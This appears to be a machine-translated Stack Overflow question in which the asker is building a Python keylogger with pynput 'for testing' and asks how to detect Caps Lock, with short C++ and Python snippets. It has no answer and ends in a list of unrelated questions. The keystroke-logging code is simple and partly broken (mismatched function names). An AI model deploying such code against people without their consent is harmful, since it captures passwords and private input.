python - 键盘记录器:检测 CAPS Lock 键状态
问题描述
我正在 python 中创建一个键盘记录器进行测试,我想到了以下问题/问题:
“我需要检查CAPS Lock是否处于活动状态,从而在用户键盘日志中生成这种差异,但该怎么做呢?”。在C++中,我知道我可以更改ASCII中的密钥以将密钥转换为大写/小写:
//Ex.:
if (! isCapsON) {//
appendKeyLog (key, hostName); // Caps by default when caps is not active
} else {
appendKeyLog ((byte) (key + 32), hostName) // Uppercase char + 32 � lowercase in ascii
}
我想在用户键盘上模拟一个随机键并检查ASCII中的值以检测CAPS键是否处于活动状态,然后设置isCaps = True / False
. 但是,我不知道如何做到这一点,并且在搜索时,我只是找到了使用 subproccess 和其他 python 库来检测 linux 的方法。
PS.:我正在使用 Debian Stretch,但我想支持任何操作系统(或最常用的操作系统)
目前,为了捕获我正在使用 pynput 库的密钥,如下所示:
import pynput
from pynput.keyboard import Key, Listener
def key_key (key):
format_key = str (key) #Convert key to string
if key == Key.enter:
write_logs ("\ n")
elif key == Key.esc:
write_logs ("[Esc]")
else:
write_logs (format_key [2]) #Capture only the value between single quotation marks (generated value is u '[keypress]')
#Initialize Keylogger
with Listener (on_press = catch_key) as listen:
listen.join ()
解决方案
推荐阅读
- powershell - 是否可以将 $ErrorActionPreference = 'Stop' 配置为 powershell 模块中所有功能的默认值?
- javascript - 添加 React UID 后,无法在 shallow/mount 上找到子组件
- html - 在 100%vw 的 HTML 上轻微水平滚动
- f# - 为什么 F# 类型推断不适用于类或接口?
- ios - 将图像添加为子视图时如何处理异步图像和视频?
- c# - 使用 NUnit3 控制台运行测试
- javascript - 如何将使用网络摄像头拍摄的图像发送到 api?
- c# - 如何通知 WPF DataGrid 中的一行其中一个单元格已被编程修改?
- node.js - 这个异步获取请求我做错了什么?
- python - 如何使用字典修复多线程/多处理?